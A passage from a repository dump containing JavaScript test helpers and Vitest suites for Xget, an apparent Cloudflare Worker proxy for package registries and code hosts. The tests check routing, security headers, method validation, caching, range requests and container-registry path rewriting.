* Create a mock request with default options
* @param {string} url - Request URL
* @param {object} options - Request options
* @returns {Request} Mock request object
*/
export function createMockRequest(url, options = {}) {
const defaultOptions = {
method: 'GET',
headers: {
'User-Agent': 'Mozilla/5.0 (Test)',
Accept: '*/*'
}
};
return new Request(url, { ...defaultOptions, ...options });
}
/**
* Create a mock response with default options
* @param {string} body - Response body
* @param {object} options - Response options
* @returns {Response} Mock response object
*/
export function createMockResponse(body = 'OK', options = {}) {
const defaultOptions = {
status: 200,
statusText: 'OK',
headers: {
'Content-Type': 'text/plain'
}
};
return new Response(body, { ...defaultOptions, ...options });
}
/**
* Create a Git request for testing
* @param {string} url - Git repository URL
* @param {string} service - Git service (upload-pack or receive-pack)
* @returns {Request} Git request object
*/
export function createGitRequest(url, service = 'git-upload-pack') {
const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`;
return new Request(gitUrl, {
method: service === 'git-upload-pack' ? 'GET' : 'POST',
headers: {
'User-Agent': 'git/2.34.1',
'Git-Protocol': 'version=2',
...(service !== 'git-upload-pack' && {
'Content-Type': `application/x-${service}-request`
})
}
});
}
/**
* Create a Docker registry request
* @param {string} url - Request URL
* @param {{headers?: Record}} options - Request options
* @returns {Request} Docker request object
*/
export function createDockerRequest(url, options = {}) {
return new Request(url, {
method: 'GET',
headers: {
'User-Agent': 'docker/24.0.0',
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
...options.headers
},
...options
});
}
/**
* Mock fetch function for testing
* @param {string} url - Request URL
* @param {object} _options - Fetch options
* @returns {Promise} Mock response
*/
export function mockFetch(url, _options = {}) {
return new Promise(resolve => {
setTimeout(() => {
if (url.includes('error')) {
resolve(createMockResponse('Server Error', { status: 500 }));
} else if (url.includes('notfound')) {
resolve(createMockResponse('Not Found', { status: 404 }));
} else {
resolve(createMockResponse('Mock Response', { status: 200 }));
}
}, 10);
});
}
/**
* Create a mock npm registry response
* @param {string} packageName - Package name
* @param {string} version - Package version
* @returns {object} Mock npm registry response
*/
export function createMockNpmRegistryResponse(packageName, version = '1.0.0') {
return {
name: packageName,
versions: {
[version]: {
name: packageName,
version,
dist: {
tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`,
shasum: 'mock-shasum',
integrity: 'mock-integrity'
}
}
},
'dist-tags': {
latest: version
}
};
}
================================================
FILE: test/helpers/test-utils.js
================================================
/**
* Test utilities - backward compatibility wrapper
* This file maintains backward compatibility with existing tests
* by re-exporting from the new modular structure
*/
// Re-export everything from the new modular helpers
export * from './index.js';
================================================
FILE: test/index.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Xget Core Functionality', () => {
describe('Basic Request Handling', () => {
it('should redirect root path to homepage', async () => {
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
expect(response.status).toBe(302);
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('should redirect platform prefix without path to homepage', async () => {
// Test with /gh (no trailing slash)
const response1 = await SELF.fetch('https://example.com/gh', { redirect: 'manual' });
expect(response1.status).toBe(302);
expect(response1.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
// Test with /gh/ (with trailing slash)
const response2 = await SELF.fetch('https://example.com/gh/', { redirect: 'manual' });
expect(response2.status).toBe(302);
expect(response2.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
// Test with multi-part platform prefix (e.g., /ip/openai)
const response3 = await SELF.fetch('https://example.com/ip/openai', { redirect: 'manual' });
expect(response3.status).toBe(302);
expect(response3.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('should redirect invalid platform prefix to homepage', async () => {
const response = await SELF.fetch('https://example.com/invalid/test', { redirect: 'manual' });
expect(response.status).toBe(302);
expect(response.headers.get('Location')).toBe('https://github.com/xixu-me/Xget');
});
it('should include security headers in all responses', async () => {
const response = await SELF.fetch('https://example.com/', { redirect: 'manual' });
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
expect(response.headers.get('Content-Security-Policy')).toBeTruthy();
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
});
describe('Platform URL Transformation', () => {
it('should handle GitHub URLs correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect(response.status).not.toBe(400);
});
it('should handle GitLab URLs correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitLab
expect(response.status).not.toBe(400);
});
it('should handle Hugging Face URLs correctly', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Hugging Face
expect(response.status).not.toBe(400);
});
it('should handle npm URLs correctly', async () => {
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to npm
expect(response.status).not.toBe(400);
});
it('should handle PyPI URLs correctly', async () => {
const testUrl = 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to PyPI
expect(response.status).not.toBe(400);
});
it('should handle conda URLs correctly', async () => {
const testUrl =
'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3-py311h08b1b3b_1.conda';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to conda
expect(response.status).not.toBe(400);
});
it('should handle Flathub URLs correctly', async () => {
const testUrl = 'https://example.com/flathub/repo/summary';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Flathub
expect(response.status).not.toBe(400);
});
it('should not treat nested /v2/ path segments as container registry requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/releases/download/v2/file.tar.gz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect(response.status).not.toBe(400);
});
});
describe('HTTP Method Validation', () => {
it('should allow GET requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'GET'
});
expect(response.status).not.toBe(405);
});
it('should allow HEAD requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
expect(response.status).not.toBe(405);
});
it('should reject PUT requests for non-Git operations', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
it('should reject DELETE requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
it('should reject AI-like POST requests outside /ip providers', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/v1/chat/completions', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({ message: 'test' })
});
expect(response.status).toBe(405);
});
});
describe('Git Protocol Support', () => {
it('should allow POST for Git upload-pack', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-upload-pack-request',
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
it('should allow POST for Git receive-pack', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo.git/git-receive-pack', {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-receive-pack-request',
'User-Agent': 'git/2.34.1'
}
});
expect(response.status).not.toBe(405);
});
it('should handle Git info/refs requests', async () => {
const response = await SELF.fetch(
'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack',
{
method: 'GET',
headers: {
'User-Agent': 'git/2.34.1'
}
}
);
expect(response.status).not.toBe(405);
});
});
describe('Path Length Validation', () => {
it('should reject extremely long paths', async () => {
const longPath = `/gh/${'a'.repeat(3000)}`;
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should accept normal length paths', async () => {
const normalPath = '/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(`https://example.com${normalPath}`, { method: 'HEAD' });
expect(response.status).not.toBe(414);
});
});
describe('Performance Headers', () => {
it('should include performance metrics in response headers', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should include valid JSON in performance metrics', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
const metricsHeader = response.headers.get('X-Performance-Metrics');
expect(metricsHeader).toBeTruthy();
expect(() => JSON.parse(metricsHeader || '')).not.toThrow();
});
});
describe('URL Rewriting', () => {
it('should rewrite npm registry URLs in JSON responses', async () => {
// Mock npm package metadata request
const testUrl = 'https://example.com/npm/lodash';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// This test would need actual npm registry response mocking
// For now, just verify the request doesn't fail
expect([200, 301, 302, 404, 500]).toContain(response.status);
});
it('should preserve npm tarball URL structure', async () => {
// Test that npm tarball URLs follow the correct pattern
const testUrl = 'https://example.com/npm/react/-/react-18.2.0.tgz';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy correctly
expect(response.status).not.toBe(400);
});
it('should correctly rewrite npm URLs to preserve package names', () => {
// Test the regex replacement logic directly
const mockOriginalText = JSON.stringify({
name: 'npm',
versions: {
'11.5.1': {
dist: {
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
}
}
}
});
// Simulate the regex replacement that happens in the code
const rewrittenText = mockOriginalText.replace(
/https:\/\/registry.npmjs.org\/([^/]+)/g,
'https://xget.xi-xu.me/npm/$1'
);
const rewrittenData = JSON.parse(rewrittenText);
// Verify the URL is correctly rewritten with package name preserved
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
);
});
});
});
================================================
FILE: test/integration.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Integration Tests', () => {
describe('End-to-End Platform Integration', () => {
it('should proxy GitHub file requests correctly', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/blob/main/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GitHub
expect([200, 301, 302, 404]).toContain(response.status);
// Should include security headers
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle GitHub raw file requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/raw/main/README.md';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle GitHub release downloads', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404, 408]).toContain(response.status);
}, 60000);
it('should proxy GitLab file requests correctly', async () => {
const testUrl = 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/package.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle Hugging Face model files', async () => {
const testUrl = 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404, 429]).toContain(response.status);
}, 10000);
it('should handle npm package requests', async () => {
const testUrl = 'https://example.com/npm/react';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle PyPI package requests', async () => {
const testUrl = 'https://example.com/pypi/simple/requests/';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle conda package requests', async () => {
const testUrl = 'https://example.com/conda/pkgs/main/linux-64/repodata.json';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
expect([200, 301, 302, 404]).toContain(response.status);
});
});
describe('Caching Integration', () => {
it('should cache responses appropriately', async () => {
const testUrl = 'https://example.com/gh/test/repo/static-file.txt';
// First request
const response1 = await SELF.fetch(testUrl);
const metrics1 = response1.headers.get('X-Performance-Metrics');
// Second request (should potentially hit cache)
const response2 = await SELF.fetch(testUrl);
const metrics2 = response2.headers.get('X-Performance-Metrics');
expect(metrics1).toBeTruthy();
expect(metrics2).toBeTruthy();
// Both requests should succeed
expect(response1.status).toBe(response2.status);
});
it('should not cache Git protocol requests', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
// Git requests should not be cached (no cache headers)
expect(response.headers.get('Cache-Control') || '').not.toContain('max-age=1800');
});
});
describe('Error Handling Integration', () => {
it('should handle upstream server errors gracefully', async () => {
const testUrl = 'https://example.com/gh/nonexistent/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should handle 404 from upstream gracefully
expect([404, 502, 503]).toContain(response.status);
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
it('should handle network timeouts', async () => {
// This would test timeout handling, but is difficult to simulate
// in a unit test environment. In practice, this would be tested
// with a mock server that delays responses.
const testUrl = 'https://example.com/gh/test/repo/file.txt';
const response = await SELF.fetch(testUrl);
// Should complete within reasonable time
expect(response.status).toBeDefined();
});
it('should retry failed requests', async () => {
// Test retry mechanism by checking performance metrics
const testUrl = 'https://example.com/gh/test/unreliable-endpoint';
const response = await SELF.fetch(testUrl);
const metricsHeader = response.headers.get('X-Performance-Metrics');
if (metricsHeader) {
const metrics = JSON.parse(metricsHeader);
// If retries occurred, there should be timing data
expect(typeof metrics).toBe('object');
}
}, 20000);
});
describe('Performance Integration', () => {
it('should complete requests within reasonable time', async () => {
const startTime = Date.now();
const testUrl = 'https://example.com/gh/test/repo/small-file.txt';
const response = await SELF.fetch(testUrl);
const endTime = Date.now();
const duration = endTime - startTime;
// Should complete within 30 seconds (timeout limit)
expect(duration).toBeLessThan(30000);
expect(response.status).toBeDefined();
});
it('should include performance metrics in all responses', async () => {
const testUrls = [
'https://example.com/gh/test/repo/file.txt',
'https://example.com/npm/test-package',
'https://example.com/pypi/simple/test/'
];
const responses = await Promise.all(testUrls.map(url => SELF.fetch(url, { method: 'HEAD' })));
for (const response of responses) {
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
}
}, 20000);
});
describe('Content Type Handling', () => {
it('should preserve content types from upstream', async () => {
const testCases = [
{ url: 'https://example.com/gh/test/repo/image.png', expectedType: 'image' },
{ url: 'https://example.com/gh/test/repo/data.json', expectedType: 'json' },
{ url: 'https://example.com/gh/test/repo/style.css', expectedType: 'css' },
{ url: 'https://example.com/gh/test/repo/script.js', expectedType: 'javascript' }
];
for (const testCase of testCases) {
const response = await SELF.fetch(testCase.url, { method: 'HEAD' });
if (response.status === 200) {
const contentType = response.headers.get('Content-Type');
if (contentType) {
expect(contentType.toLowerCase()).toContain(testCase.expectedType);
}
}
}
}, 30000);
});
describe('Range Request Support', () => {
it('should support partial content requests', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-file.zip';
const response = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Should either support range requests (206) or return full content (200)
expect([200, 206, 404]).toContain(response.status);
if (response.status === 206) {
expect(response.headers.get('Content-Range')).toBeTruthy();
}
});
it('should handle range requests with proper caching strategy', async () => {
const testUrl = 'https://example.com/gh/test/repo/test-file.pdf';
// First, make a regular request to cache the full content
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
// Verify the response has proper headers for Range support
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
// Now make a range request
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Should either get partial content or full content
expect([200, 206]).toContain(rangeResponse.status);
if (rangeResponse.status === 206) {
expect(rangeResponse.headers.get('Content-Range')).toBeTruthy();
expect(rangeResponse.headers.get('Content-Length')).toBe('1024');
}
}
});
it('should avoid compression for media files', async () => {
const mediaFiles = [
'https://example.com/gh/test/repo/video.mp4',
'https://example.com/gh/test/repo/audio.mp3',
'https://example.com/gh/test/repo/image.jpg',
'https://example.com/gh/test/repo/archive.zip'
];
for (const url of mediaFiles) {
const response = await SELF.fetch(url, { method: 'HEAD' });
if (response.status === 200) {
// Media files should have Accept-Ranges header for proper range support
expect(response.headers.get('Accept-Ranges')).toBe('bytes');
// Should not be compressed if it's a media file
const contentEncoding = response.headers.get('Content-Encoding');
if (contentEncoding) {
expect(['identity', null, undefined]).toContain(contentEncoding);
}
}
}
});
it('should cache only 200 responses, not 206 responses', async () => {
const testUrl = 'https://example.com/gh/test/repo/large-document.pdf';
// Make a range request first
const rangeResponse = await SELF.fetch(testUrl, {
headers: {
Range: 'bytes=0-1023'
}
});
// Verify performance metrics don't show 206 caching attempts
if (rangeResponse.status === 206) {
const metrics = rangeResponse.headers.get('X-Performance-Metrics');
if (metrics) {
const parsedMetrics = JSON.parse(metrics);
// Should not have cache_put_206_error or similar
expect(parsedMetrics).not.toHaveProperty('cache_put_error');
}
}
// Follow up with a full request to ensure it gets cached properly
const fullResponse = await SELF.fetch(testUrl);
if (fullResponse.status === 200) {
expect(fullResponse.headers.get('Cache-Control')).toContain('public');
expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes');
}
});
});
describe('Cross-Platform Consistency', () => {
it('should handle similar requests consistently across platforms', async () => {
const testCases = [
'https://example.com/gh/test/repo/README.md',
'https://example.com/gl/test/repo/README.md'
];
const responses = await Promise.all(
testCases.map(url => SELF.fetch(url, { method: 'HEAD' }))
);
// All responses should have consistent security headers
responses.forEach((/** @type {Response} */ response) => {
expect(response.headers.get('Strict-Transport-Security')).toBeTruthy();
expect(response.headers.get('X-Performance-Metrics')).toBeTruthy();
});
});
});
});
================================================
FILE: test/platforms/container-registry.test.js
================================================
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Container Registry Support', () => {
describe('Docker API Version Check', () => {
it('should handle /v2/ endpoint correctly', async () => {
const response = await SELF.fetch('https://example.com/v2/');
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
expect(response.headers.get('Content-Type')).toBe('application/json');
const body = await response.text();
expect(body).toBe('{}');
});
it('should handle /v2 endpoint correctly', async () => {
const response = await SELF.fetch('https://example.com/v2');
expect(response.status).toBe(200);
expect(response.headers.get('Docker-Distribution-Api-Version')).toBe('registry/2.0');
});
});
describe('Container Registry URL Transformation', () => {
it('should handle Quay.io registry requests', async () => {
const testUrl = 'https://example.com/cr/quay/v2/quay/redis/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to Quay.io
expect(response.status).not.toBe(400);
});
it('should handle Google Container Registry requests', async () => {
const testUrl = 'https://example.com/cr/gcr/v2/distroless/base/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GCR
expect(response.status).not.toBe(400);
});
it('should handle GitHub Container Registry requests', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl, { method: 'HEAD' });
// Should attempt to proxy to GHCR
expect(response.status).not.toBe(400);
});
});
describe('Docker Authentication', () => {
it('should pass through 401 authentication challenges', async () => {
// This test simulates an upstream 401 response which should be passed through
const testUrl = 'https://example.com/cr/ghcr/v2/private/repo/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should not convert 401 to 500 or other error codes
if (response.status === 401) {
// WWW-Authenticate header should be preserved
expect(response.headers.has('WWW-Authenticate') || response.status === 401).toBeTruthy();
}
});
it('should handle container registry token requests', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/auth';
const response = await SELF.fetch(testUrl, {
headers: {
Authorization: 'Basic dGVzdDp0ZXN0'
}
});
// Should attempt to proxy auth requests
expect(response.status).not.toBe(400);
}, 15000);
it('should transform scope parameter correctly for Docker Hub', async () => {
// Test that scope parameter removes Xget path prefix
const testUrl =
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/mlikiowa/napcat-docker:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request (which indicates malformed scope)
expect(response.status).not.toBe(400);
});
it('should transform scope parameter correctly for GHCR', async () => {
// Test that scope parameter removes Xget path prefix
const testUrl =
'https://example.com/cr/ghcr/v2/auth?scope=repository:cr/ghcr/user/repo:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request (which indicates malformed scope)
expect(response.status).not.toBe(400);
});
it('should handle scope parameter for official Docker Hub images', async () => {
// Test that scope parameter is transformed and adds library/ prefix for official images
const testUrl =
'https://example.com/cr/docker/v2/auth?scope=repository:cr/docker/nginx:pull&service=Xget';
const response = await SELF.fetch(testUrl);
// Should not return 400 Bad Request
expect(response.status).not.toBe(400);
});
});
describe('Docker Request Detection', () => {
it('should detect Docker requests by path', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'GET'
}
);
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
it('should detect Docker requests by Accept header', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
it('should detect Docker requests by User-Agent', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
headers: {
'User-Agent': 'docker/20.10.7'
}
});
// Should not reject with 405 (method not allowed)
expect(response.status).not.toBe(405);
});
});
describe('Docker HTTP Methods', () => {
it('should allow GET for manifest requests', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'GET'
}
);
expect(response.status).not.toBe(405);
});
it('should allow HEAD for manifest requests', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
method: 'HEAD'
}
);
expect(response.status).not.toBe(405);
});
it('should allow PUT for manifest uploads', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/manifests/tag', {
method: 'PUT',
headers: {
'Content-Type': 'application/vnd.docker.distribution.manifest.v2+json'
},
body: JSON.stringify({
schemaVersion: 2,
mediaType: 'application/vnd.docker.distribution.manifest.v2+json'
})
});
expect(response.status).not.toBe(405);
});
it('should allow POST for blob uploads', async () => {
const response = await SELF.fetch('https://example.com/cr/ghcr/v2/test/repo/blobs/uploads/', {
method: 'POST',
headers: {
'Content-Type': 'application/octet-stream'
}
});
expect(response.status).not.toBe(405);
});
});
describe('Container Registry Error Handling', () => {
it('should reject non-cr prefixed Docker requests', async () => {
const response = await SELF.fetch(
'https://example.com/v2/nginxinc/nginx-unprivileged/manifests/latest'
);
expect(response.status).toBe(400);
expect(await response.text()).toContain('container registry requests must use /cr/ prefix');
});
});
describe('Container Registry Headers', () => {
it('should preserve container-specific headers', async () => {
const response = await SELF.fetch(
'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest',
{
headers: {
'Container-Content-Digest': 'sha256:abc123',
Accept: 'application/vnd.docker.distribution.manifest.v2+json',
Authorization: 'Bearer token123'
}
}
);
// Should not reject Docker-specific headers
expect(response.status).not.toBe(400);
});
it('should not cache container registry responses', async () => {
const testUrl = 'https://example.com/cr/ghcr/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl);
// Container registry responses should not be cached
const cacheControl = response.headers.get('Cache-Control');
if (cacheControl) {
expect(cacheControl).not.toContain('max-age=1800');
}
});
});
describe('Docker Hub Specific Tests', () => {
it('should handle Docker Hub official images (single-name images)', async () => {
// Official images like nginx, redis are stored as library/nginx in Docker Hub
const testUrl = 'https://example.com/cr/docker/v2/nginx/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should attempt to proxy to Docker Hub
expect(response.status).not.toBe(400);
}, 30000);
it('should handle Docker Hub user images (namespace/image format)', async () => {
// User images already have namespace prefix
const testUrl =
'https://example.com/cr/docker/v2/nginxinc/nginx-unprivileged/manifests/latest';
const response = await SELF.fetch(testUrl, {
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
// Should attempt to proxy to Docker Hub
expect(response.status).not.toBe(400);
}, 30000);
it('should allow GET for Docker Hub manifest requests', async () => {
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
method: 'GET',
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
expect(response.status).not.toBe(405);
});
it('should allow HEAD for Docker Hub manifest requests', async () => {
const response = await SELF.fetch('https://example.com/cr/docker/v2/nginx/manifests/latest', {
method: 'HEAD',
headers: {
Accept: 'application/vnd.docker.distribution.manifest.v2+json'
}
});
expect(response.status).not.toBe(405);
});
});
});
================================================
FILE: test/platforms/cran.test.js
================================================
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('CRAN Platform Configuration', () => {
it('should have CRAN platform configured', () => {
expect(PLATFORMS.cran).toBe('https://cran.r-project.org');
});
it('should transform CRAN paths correctly', () => {
const testCases = [
{
input: '/cran/src/contrib/ggplot2_3.5.2.tar.gz',
expected: '/src/contrib/ggplot2_3.5.2.tar.gz',
description: 'package source file'
},
{
input: '/cran/web/packages/dplyr/DESCRIPTION',
expected: '/web/packages/dplyr/DESCRIPTION',
description: 'package description file'
},
{
input: '/cran/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
expected: '/bin/windows/contrib/4.3/ggplot2_3.4.4.zip',
description: 'Windows binary package'
},
{
input: '/cran/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
expected: '/bin/macosx/big-sur-arm64/contrib/4.3/ggplot2_3.4.4.tgz',
description: 'macOS binary package'
},
{
input: '/cran/web/packages/packages.rds',
expected: '/web/packages/packages.rds',
description: 'package index file'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'cran');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
const result = transformPath('/cran/', 'cran');
expect(result).toBe('/');
});
it('should handle paths without platform prefix', () => {
const result = transformPath('/src/contrib/ggplot2_3.5.2.tar.gz', 'cran');
expect(result).toBe('/src/contrib/ggplot2_3.5.2.tar.gz');
});
});
================================================
FILE: test/platforms/crates.test.js
================================================
import { describe, expect, it } from 'vitest';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('crates.io path transformation', () => {
it('should transform crate download URLs correctly', () => {
const path = '/crates/serde/1.0.0/download';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde/1.0.0/download');
});
it('should transform crate metadata URLs correctly', () => {
const path = '/crates/serde';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde');
});
it('should transform crate version URLs correctly', () => {
const path = '/crates/serde/1.0.0';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates/serde/1.0.0');
});
it('should transform search URLs correctly', () => {
const path = '/crates/?q=serde';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates?q=serde');
});
it('should transform root crates URL correctly', () => {
const path = '/crates/';
const result = transformPath(path, 'crates');
expect(result).toBe('/api/v1/crates');
});
});
================================================
FILE: test/platforms/flathub.test.js
================================================
import { describe, expect, it } from 'vitest';
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
import { transformPath } from '../../src/routing/platform-transformers.js';
describe('Flathub Platform Configuration', () => {
it('should have Flathub platform configured', () => {
expect(PLATFORMS.flathub).toBe('https://dl.flathub.org');
});
it('should transform Flathub repository paths correctly', () => {
const testCases = [
{
input: '/flathub/repo/summary',
expected: '/repo/summary',
description: 'repository summary'
},
{
input: '/flathub/repo/summary.sig',
expected: '/repo/summary.sig',
description: 'repository summary signature'
},
{
input: '/flathub/repo/flathub.flatpakrepo',
expected: '/repo/flathub.flatpakrepo',
description: 'remote descriptor'
},
{
input: '/flathub/repo/appstream/org.gnome.gedit.flatpakref',
expected: '/repo/appstream/org.gnome.gedit.flatpakref',
description: 'application reference'
},
{
input: '/flathub/repo/objects/12/34567890abcdef.filez',
expected: '/repo/objects/12/34567890abcdef.filez',
description: 'content-addressed object'
},
{
input: '/flathub/repo/deltas/ABCD.superblock',
expected: '/repo/deltas/ABCD.superblock',
description: 'static delta'
}
];
testCases.forEach(({ input, expected, description }) => {
const result = transformPath(input, 'flathub');
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
});
});
it('should handle root path correctly', () => {
expect(transformPath('/flathub/', 'flathub')).toBe('/');
});
it('should preserve already transformed Flathub repository paths', () => {
expect(transformPath('/repo/summary', 'flathub')).toBe('/repo/summary');
});
});
================================================
FILE: test/platforms/homebrew.test.js
================================================
